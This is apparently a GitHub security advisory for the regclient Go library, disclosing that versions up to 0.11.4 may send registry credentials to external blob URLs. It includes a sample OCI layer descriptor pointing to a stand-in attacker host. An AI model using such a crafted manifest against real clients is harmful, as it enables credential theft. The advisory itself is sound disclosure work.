GHSA-qvqc-4c52-x6qp

Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs.

Example attack

A malicious registry serves an OCI image manifest containing a layer descriptor with a urls field pointing to an attacker controlled host:

{
  "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
  "digest": "sha256:...",
  "size": 1024,
  "urls": ["https://malicious.example.org/blobs/sha256/..."]
}

When regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server.

Timeline

2026-05-25: Advisory submitted
2026-05-26: Fix released

Credit

Theodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security

Database specific

{
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-522"
    ],
    "github_reviewed": true,
    "severity": "MODERATE",
    "github_reviewed_at": "2026-06-26T22:43:31Z"
}

References

Affected packages

Go / github.com/regclient/regclient

Package

Name: github.com/regclient/regclient; View open source insights on deps.dev
Purl: pkg:golang/github.com/regclient/regclient

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

0.11.5

Database specific

last_known_affected_version_range

"<= 0.11.4"

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-qvqc-4c52-x6qp/GHSA-qvqc-4c52-x6qp.json"